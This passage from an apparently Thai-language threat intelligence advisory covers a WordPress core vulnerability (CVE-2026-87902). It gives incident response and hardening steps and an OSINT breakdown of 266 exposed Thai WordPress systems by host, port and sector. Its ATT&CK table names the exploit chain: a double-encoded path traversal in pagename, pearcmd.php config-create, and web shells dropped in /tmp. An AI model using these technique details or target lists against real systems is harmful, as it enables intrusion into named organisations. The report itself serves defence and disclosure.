หากตรวจพบหลักฐานว่าเซิร์ฟเวอร์ถูกเจาะระบบ ให้ดำเนินการตามแผน Incident Response ตามลำดับดังนี้: (1) ตัดการเชื่อมต่อเครือข่ายของเซิร์ฟเวอร์เป้าหมายทันทีเพื่อป้องกันการขยายการโจมตี (Lateral Movement) (2) ทำการเก็บสำเนาพยานหลักฐานดิจิทัล (Forensic Image) ทั้ง Memory Dump และ Disk Image (3) ทำการสแกนระบบไฟล์และกำจัด Web Shell รวมถึงบัญชีผู้ใช้แปลกปลอม (4) ดำเนินการติดตั้งระบบใหม่ (Clean Rebuild) จากแหล่งติดตั้งทางการที่ปลอดภัย (5) ทำการเปลี่ยนรหัสผ่าน (Rotate Credentials) ฐานข้อมูล, API Keys, และ Secret Salts ทั้งหมด (6) จัดทำรายงานสรุปเหตุการณ์แจ้งต่อ ThaiCERT/สกมช. และสำนักงานคณะกรรมการคุ้มครองข้อมูลส่วนบุคคล (สคส.) ภายใน 72 ชั่วโมงตามข้อกำหนดของกฎหมาย PDPA [10]
6.4 มาตรการระยะกลาง-ยาว (Strategic Measures)
- ติดตั้งและปรับแต่ง Web Application Firewall (WAF) เช่น ModSecurity หรือ Cloud WAF เพื่อกรองคำขอที่มีลักษณะของ Path Traversal และ Parameter Poisoning
- บังคับใช้นโยบาย Least Privilege โดยจำกัดสิทธิ์ของบัญชี www-data ไม่ให้สามารถเขียนไฟล์ลงในไดเรกทอรีซอร์สโค้ดของเว็บไซต์ได้
- เปิดใช้งาน open_basedir ในการตั้งค่า PHP เพื่อจำกัดขอบเขตการเข้าถึงระบบไฟล์ให้อยู่เฉพาะไดเรกทอรีที่จำเป็นของเว็บไซต์เท่านั้น
- นำระบบ Container Security และ Immutable Infrastructure มาใช้งาน โดยกำหนดให้คอนเทนเนอร์ทำงานแบบ Read-Only Root Filesystem
- จัดตั้งกระบวนการประเมินช่องโหว่ (Vulnerability Assessment) และกระบวนการติดตั้งแพตช์ฉุกเฉิน (Emergency Patching SLA) ภายใน 24-48 ชั่วโมง
เป้าหมายที่มีช่องโหว่ในประเทศไทย (Vulnerable Thai Targets)
รายงานผลการสำรวจและจัดทำแผนที่พื้นผิวภัยคุกคาม (Attack Surface Mapping) เชิงรุกโดย บริษัท ไซเบอร์ การ์ด อินเทลลิเจนซ์ จำกัด ผ่านการทำ OSINT ณ วันที่ 24 กันยายน 2569 ตรวจพบระบบ WordPress ที่เปิดให้บริการสู่เครือข่ายอินเทอร์เน็ตสาธารณะในประเทศไทยจำนวนทั้งสิ้น 266 รายการ (ครอบคลุม 215 ไอพีแอดเดรสเฉพาะ)
ทั้งนี้ ข้อมูลชุดนี้ชี้ให้เห็นถึงขนาดของพื้นผิวการโจมตี (Attack Surface Exposure) และความเสี่ยงเชิงโครงสร้างพื้นฐานของระบบนิเวศดิจิทัลไทยต่อช่องโหว่ CVE-2026-87902 โดยไม่ได้หมายความว่าทุกระบบที่ตรวจพบถูกเจาะระบบแล้ว แต่เป็นดัชนีชี้วัดขอบเขตของระบบที่อาจได้รับผลกระทบหากไม่มีการติดตั้งแพตช์อย่างทันท่วงที
7.1 การกระจายตัวตามผู้ให้บริการคลาวด์และโฮสติ้งในไทย (Cloud & Hosting Infrastructure Breakdown)
จากการวิเคราะห์เครือข่าย Autonomous System (ASN) และผู้ให้บริการอินเทอร์เน็ต (ISP) ของทั้ง 266 ระบบที่สำรวจพบในประเทศไทย พบว่าระบบส่วนใหญ่กว่า 75% ติดตั้งอยู่บนผู้ให้บริการ Hyperscale Cloud และ Domestic Web Hosting รายใหญ่ของประเทศ:
- Amazon Web Services (AWS - AS16509): ตรวจพบ 68 ระบบ (25.6%) ส่วนใหญ่รันบนโครงสร้างพื้นฐาน AWS Region กรุงเทพฯ (
ap-southeast-7) และ Elastic Compute Cloud (EC2) โดยใช้ชื่อโฮสต์*.compute.amazonaws.com - GMO-Z com NetDesign Holdings (AS135161): ตรวจพบ 64 ระบบ (24.1%) ซึ่งเป็นหนึ่งในผู้ให้บริการเว็บโฮสติ้งและคลาวด์ที่ใหญ่ที่สุดในไทย รันอยู่บนโฮสต์เนม
*.cnode.ioและ*.zcom.in.th - Proen Corp Public Company Limited (AS23884): ตรวจพบ 22 ระบบ (8.3%) ให้บริการทั้งในรูปแบบ Enterprise Data Center และ Ruk-Com Cloud Platform (
ruk-com.cloud) - โครงสร้างพื้นฐานคลาวด์ภาครัฐและสถาบันการศึกษา: พบการติดตั้งบนเครือข่าย UNINET-TH (10 ระบบ), KMITL (8 ระบบ), INET Thailand (7 ระบบ) และบริการคลาวด์กลางภาครัฐ GDCC (7 ระบบ)
| อันดับ | ผู้ให้บริการโครงสร้างพื้นฐาน / ISP | สัดส่วน (%) | จำนวนระบบ |
|---|---|---|---|
| 1 | Amazon.com, Inc. (AWS Cloud - AS16509) | 25.6% | 68 ระบบ |
| 2 | GMO-Z com NetDesign Holdings Co., Ltd. (AS135161) | 24.1% | 64 ระบบ |
| 3 | Proen Corp Public Company Limited (AS23884) | 8.3% | 22 ระบบ |
| 4 | UNINET-TH (สวทช. / การศึกษา - AS4621) | 3.8% | 10 ระบบ |
| 5 | Bangmod Enterprise Co., Ltd. / Ruk-Com (AS58955) | 3.8% | 10 ระบบ |
| 6 | Siamdata Communication Co.,Ltd. / ReadyIDC (AS56309) | 3.4% | 9 ระบบ |
| 7 | สถาบันเทคโนโลยีพระจอมเกล้าเจ้าคุณทหารลาดกระบัง (AS9486) | 3.0% | 8 ระบบ |
| 8 | Internet Thailand Company Limited (INET - AS4618) | 2.6% | 7 ระบบ |
| 9 | Government Data Center and Cloud service (GDCC - AS135566) | 2.6% | 7 ระบบ |
| 10 | Fastly, Inc. (CDN Edge - AS54113) | 2.3% | 6 ระบบ |
7.2 การวิเคราะห์พอร์ตบริการและสภาวะความเสี่ยงของระบบ (Port Exposure Profile & Non-Standard Ports Risk)
จากการจำแนกพอร์ตบริการที่เปิดรับการเชื่อมต่อสาธารณะของทั้ง 266 ระบบ พบว่ามีสัดส่วนการใช้งานพอร์ตเว็บมาตรฐานควบคู่ไปกับพอร์ตทดสอบที่ไม่เป็นมาตรฐานในระดับที่มีนัยสำคัญ:
| อันดับ | พอร์ตบริการ | สัดส่วน (%) | จำนวนระบบ |
|---|---|---|---|
| 1 | TCP 80 (HTTP Unencrypted) |
36.1% | 96 ระบบ |
| 2 | TCP 443 (HTTPS Encrypted) |
33.1% | 88 ระบบ |
| 3 | TCP 8080 (Alt Web / Proxy) |
3.0% | 8 ระบบ |
| 4 | TCP 4444 (Custom Admin / Staging) |
1.5% | 4 ระบบ |
| 5 | TCP 82 (Alt HTTP) |
1.5% | 4 ระบบ |
| 6 | TCP 8086 / 886 / 880 (Custom Web) |
2.3% | 6 ระบบ |
| 7 | TCP 4432 / 7777 / 8081 (Dev / Alt) |
2.3% | 6 ระบบ |
| 8 | TCP 8880 / 50000 (Cloud Custom Ports) |
1.5% | 4 ระบบ |
| 9 | พอร์ตทดสอบ/กำหนดเองอื่น ๆ (Other Custom / Dev Ports) |
18.8% | 50 ระบบ |
ข้อสังเกตเชิงยุทธศาสตร์: การพบระบบ WordPress รันอยู่บนพอร์ตที่ไม่ใช่มาตรฐาน (Non-standard / Alternate Web Ports) รวมกันมากถึง 30.8% (เช่น พอร์ต 8080, 4444, 82, 8880, 50000) บ่งชี้ว่าเป็นสภาพแวดล้อมเพื่อการทดสอบ (Staging/Dev Environments), แผงควบคุมระบบ (Control Panels), หรือการตั้งค่า Port Forwarding ของ Docker Container ที่มักขาดการติดตั้ง Web Application Firewall (WAF) และขาดการอัปเดตแพตช์ตามรอบปกติ ทำให้กลายเป็นจุดอ่อนสำคัญที่ถูกสแกนเนอร์อัตโนมัติของผู้โจมตีเจาะระบบได้ง่ายที่สุด
7.3 การจำแนกตามภาคส่วนเป้าหมายและสภาวะซอฟต์แวร์หมดอายุ (Sector Breakdown & EOL Risk Analysis)
เมื่อทำการจำแนกประเภทองค์กรและแท็กความปลอดภัยที่ปรากฏในชุดข้อมูล OSINT พบว่าระบบนิเวศ WordPress ในไทยมีความเสี่ยงเฉพาะตัวที่ต้องบริหารจัดการอย่างเร่งด่วน:
- ความเสี่ยงระดับสูงจากซอฟต์แวร์หมดอายุ (EOL Product - 16.5%): ตรวจพบถึง 44 ระบบที่ถูกระบุว่าใช้งาน Web Server Stack ที่หมดอายุการสนับสนุนอย่างเป็นทางการ (เช่น PHP รุ่นเก่า หรือ Apache/Nginx เวอร์ชันล้าสมัย) ซึ่งระบบเหล่านี้มักรันด้วย
register_argc_argv = Onและมีคอมโพเนนต์pearcmd.phpติดตั้งอยู่ จึงมีความพร้อมในการถูกโจมตีแบบ RCE ทันที - การกระจุกตัวทางภูมิศาสตร์: พบว่ากว่า 90.6% (241 ระบบ) ของไอพีแอดเดรสตั้งอยู่ในเขตกรุงเทพมหานครและปริมณฑล สะท้อนถึงการรวมศูนย์ของศูนย์ข้อมูล (Data Centers) หลักของประเทศ
| ภาคส่วนเป้าหมายในประเทศไทย | สัดส่วน (%) | จำนวนระบบ | ตัวอย่างองค์กร / โดเมนที่ตรวจพบ |
|---|---|---|---|
| ผู้ให้บริการโฮสติ้งและ ISP ในประเทศ | 44.4% | 118 ระบบ | GMO-Z com, Proen Corp, Bangmod, ReadyIDC, INET, CS Loxinfo |
| Hyperscale Cloud & CDN สากล | 27.8% | 74 ระบบ | Amazon AWS (ap-southeast-7), Fastly Edge CDN |
| สถาบันการศึกษาและมหาวิทยาลัย | 10.9% | 29 ระบบ | UNINET-TH, ม.เกษตรศาสตร์, สจล. (KMITL), ม.บูรพา (BUU), มทร.ธัญบุรี (RMUTT), มรภ.วไลยอลงกรณ์ (VRU) |
| หน่วยงานภาครัฐและศูนย์ข้อมูลกลาง | 4.5% | 12 ระบบ | GDCC (NT Cloud), ศูนย์เทคโนโลยีสารสนเทศภาครัฐ (GITS), โดเมน .go.th / .or.th |
| ภาคธุรกิจเอกชนและพาณิชย์อื่น ๆ | 12.4% | 33 ระบบ | ธุรกิจพลังงาน (Solar Roof), ท่องเที่ยว (Mushroom Travel), บริการดิจิทัล |
7.4 ข้อเสนอแนะและมาตรการเชิงรุกสำหรับผู้ดูแลระบบไทย (Actionable Remediation for Thai SOC/SysAdmin)
เพื่อป้องกันผลกระทบจากการโจมตีระลอกใหญ่ บริษัท ไซเบอร์ การ์ด อินเทลลิเจนซ์ จำกัด ขอแนะนำให้องค์กรไทยดำเนินการ 4 ขั้นตอนเร่งด่วน:
- ตรวจสอบบัญชีทรัพย์สินเว็บ (Asset Inventory): นำรายการไอพีแอดเดรสและโดเมนขององค์กรมาเทียบเคียงกับระบบที่รัน WordPress ทั้งหมด รวมถึงระบบที่รันบนพอร์ตทดสอบ (8080, 4444, 82)
- เร่งปรับใช้แพตช์ WordPress Core 7.1.2 หรือ Backported Releases: โดยเฉพาะระบบในภาคการศึกษาและหน่วยงานภาครัฐที่ปิดฟังก์ชัน Automatic Updates ไว้
- ปิดการทำงานของ register_argc_argv ใน php.ini ทันที: กำหนดให้เป็น
Offบน Web Server ทุกเครื่องเพื่อตัดวงจรการโจมตีผ่านpearcmd.phpแม้ว่าจะยังไม่สามารถอัปเกรด WordPress ได้ในทันที - ปรับใช้กฎ Sigma ในระบบ SIEM/EDR ขององค์กร: นำ Detection Rule ที่ระบุในส่วนที่ 5 ของรายงานนี้ไปติดตั้งเพื่อเฝ้าระวังพฤติกรรมการสแกนและสกัดกั้นการฝังเว็บเชลล์ในไดเรกทอรี
/tmp
การจับคู่กับกรอบ MITRE ATT&CK Framework
| Tactic | Technique ID | Technique Name | Procedure / Details |
|---|---|---|---|
| Reconnaissance | T1595.002 | Vulnerability Scanning | กลุ่มผู้โจมตีใช้ระบบสแกนอัตโนมัติส่งคำขอเพื่อตรวจจับโครงสร้างเทมเพลตและระบุเวอร์ชันของ WordPress Core ที่มีช่องโหว่ [3][5][7] |
| Initial Access | T1190 | Exploit Public-Facing Application | ผู้โจมตีส่งคำขอ HTTP POST บรรจุเพย์โหลด Double-encoded Path Traversal ในพารามิเตอร์ pagename เพื่อเจาะระบบโดยไม่ต้องยืนยันตัวตน [1][2][4] |
| Execution | T1059 | Command and Scripting Interpreter | เรียกใช้คอมโพเนนต์ /usr/local/lib/php/pearcmd.php ร่วมกับคำสั่ง config-create เพื่อรันโค้ดและสร้างไฟล์ PHP บนเซิร์ฟเวอร์ [1][4][8] |
| Persistence | T1505.003 | Server Software Component: Web Shell | สร้างและฝังไฟล์เว็บเชลล์อันตราย (เช่น /tmp/wp-pear-rce-flag.php, luci_*.php, zeta_*.php) เพื่อรักษาการเข้าถึงระบบอย่างต่อเนื่อง [3][5][7] |
| Defense Evasion | T1027.001 | Binary Padding / Encodings | ใช้การเข้ารหัสแบบ Double URL-encoded (%252e%252e%252f) และการแปลงสตริงด้วยฟังก์ชัน chr() เพื่อหลบเลี่ยงการตรวจจับของ WAF และฟังก์ชันกรองข้อมูล [1][4][8] |
| Discovery | T1083 | File and Directory Discovery | สำรวจไดเรกทอรีชั่วคราวและตรวจสอบสิทธิ์การอ่านเขียนไฟล์ในระบบเพื่อเตรียมส่งคำขอ Include ในขั้นตอนที่สอง [1][4] |
| Collection | T1005 | Data from Local System | เข้าถึงและดึงข้อมูลไฟล์สำคัญของเว็บไซต์ เช่น wp-config.php, รหัสผ่านฐานข้อมูล, และไฟล์ข้อมูลส่วนบุคคล [1][8] |
| Impact | T1496 | Resource Hijacking | ติดตั้งโปรแกรมขุดเหรียญดิจิทัล (Cryptominer) เพื่อสูบใช้ทรัพยากรประมวลผลของเว็บเซิร์ฟเวอร์ [3][7] |
ข้อสังเกตเชิงยุทธศาสตร์ (Strategic Insights)
1. มิติยุทธศาสตร์ (Strategic Analysis): ช่องโหว่ CVE-2026-87902 สะท้อนถึง 'ความเสี่ยงจากรหัสต้นฉบับดั้งเดิม (Legacy Code Risk)' ในสถาปัตยกรรมของ WordPress Core ที่สะสมมานานกว่า 15 ปี แม้ WordPress จะเป็นระบบที่ได้รับการดูแลอย่างต่อเนื่อง แต่การคงอยู่ของคอมโพเนนต์เก่า เช่น PEAR ในสภาพแวดล้อมรันไทม์ และตรรกะการค้นหาเทมเพลตที่เดิมขาดการจำกัดขอบเขต (Root Containment) ย่อมสร้างความเสี่ยงต่อระบบนิเวศดิจิทัลในระดับมหภาค [1][2][4] สำหรับประเทศไทย การที่ผลสำรวจ OSINT ของ CGI ตรวจพบระบบ WordPress กว่า 16.5% ใช้ซอฟต์แวร์หมดอายุการสนับสนุน (EOL) ยิ่งตอกย้ำความเสี่ยงเชิงโครงสร้าง หากเกิดเหตุข้อมูลรั่วไหล องค์กรมีความเสี่ยงสูงที่จะเผชิญบทลงโทษตาม พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคล พ.ศ. 2562 (PDPA) ซึ่งกำหนดให้ต้องแจ้งเหตุต่อ สคส. ภายใน 72 ชั่วโมง [10]
2. มิติยุทธการ (Operational Analysis): ช่องว่างระหว่างการเปิดเผยแพตช์กับการเริ่มโจมตีจริง (Exploitation-to-Disclosure Gap) ได้ลดลงเหลือเพียงไม่กี่ชั่วโมง โดยผู้โจมตีเริ่มสแกนและส่งเพย์โหลดทันทีที่มีการเผยแพร่โค้ดแก้ไขและ PoC สู่สาธารณะ ฝ่ายปฏิบัติการความมั่นคงปลอดภัย (SOC) จึงไม่สามารถพึ่งพารอบการติดตั้งแพตช์ประจำเดือนได้อีกต่อไป แต่ต้องยกระดับกระบวนการติดตั้งแพตช์ฉุกเฉิน (Emergency Patching Playbook) ให้สามารถดำเนินการเสร็จสิ้นได้ภายใน 24-48 ชั่วโมง พร้อมทั้งปรับ Use Case ใน SIEM/EDR ให้ตรวจจับพฤติกรรมการสร้างไฟล์ PHP โดยเว็บเซิร์ฟเวอร์ในไดเรกทอรีชั่วคราว [3][5][6][7]
3. มิติยุทธวิธี (Tactical Analysis): ในมุมมองทางเทคนิค การแก้ไขที่ได้ผลยั่งยืนจำเป็นต้องใช้แนวทางป้องกันหลายชั้น (Defense-in-Depth) การอัปเดต WordPress Core เป็นเวอร์ชัน 7.1.2 เพื่อเปิดใช้กลไก _wp_is_template_path_allowed() เป็นสิ่งจำเป็นลำดับแรก แต่การปิดการตั้งค่า register_argc_argv = Off ใน php.ini การตัดคอมโพเนนต์ pearcmd.php ออกจาก Docker Base Images และการติดตั้ง WAF Virtual Patching เพื่อบล็อก Double-encoded Traversal ถือเป็นมาตรการเสริมที่ช่วยตัดวงจรการโจมตีได้อย่างเด็ดขาด แม้จะมีช่องโหว่ใหม่ในลักษณะเดียวกันปรากฏขึ้นในอนาคต [1][4][8][9]
เอกสารอ้างอิง (References)
ต้องการตรวจประเมินความเสี่ยงและเฝ้าระวังภัยคุกคามสำหรับองค์กรของคุณ?
Cyber Guard Intelligence ให้บริการ Fractional CTI และ Managed OSINT สำหรับองค์กรในประเทศไทย เฝ้าระวังช่องโหว่ระดับวิกฤต การรั่วไหลของข้อมูล และการโจมตีทางไซเบอร์ตลอด 24 ชั่วโมง พร้อมแปลงเป็นกฎสกัดกั้นภัยคุกคามบน Firewall, SIEM และ EDR ทันที